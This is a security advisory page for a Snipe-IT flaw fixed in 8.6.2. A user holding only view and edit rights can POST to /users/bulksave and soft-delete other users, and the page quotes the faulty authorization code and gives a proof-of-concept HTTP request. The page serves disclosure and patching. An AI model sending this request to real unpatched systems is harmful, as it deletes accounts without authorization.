Snipe-IT has an authorization bypass on bulk editing users
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}The attacker does not have users.delete, admin, or superuser.
Affected Component
-
routes/web/users.php -
app/Http/Controllers/Users/BulkUsersController.php -
Endpoint:
POST /users/bulksave
Root Cause
The UI only exposes bulk delete to users with delete permission:
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcanThe confirmation path also checks delete:
} elseif ($request->input('bulk_actions') == 'delete') {
$this->authorize('delete', User::class);However, the destructive route is registered separately:
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');and destroy() authorizes only update:
public function destroy(Request $request)
{
$this->authorize('update', User::class);When delete_user=1 is present, the method reaches:
$user->delete();Proof of Concept
-
Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete. -
Create a harmless non-admin target user.
-
Log in as the attacker and obtain a valid CSRF token.
-
Send:
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded
_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>Observed response:
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/usersPatches
Patched in 374f426f0c
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | snipe/snipe-it | < 8.6.2 | 8.6.2 |
References
- https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9
- https://nvd.nist.gov/vuln/detail/CVE-2026-55460
- https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5
- https://github.com/grokability/snipe-it
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L- Weakness (CWE)
CWE-863- Platform
- Composer
- Package
snipe/snipe-it- Disclosed
- 28.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-vgx7-c78r-69w9 - CC BY 4.0
Vulnerability history: snipe/snipe-it
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 81
- First → latest
- 10.2021 09.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 23
- Medium 53
- Low 4
Disclosures per year
- 2021: 10
- 2022: 20
- 2023: 2
- 2024: 3
- 2025: 6
- 2026: 40
-
Snipe-IT has an authorization bypass on bulk editing users this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.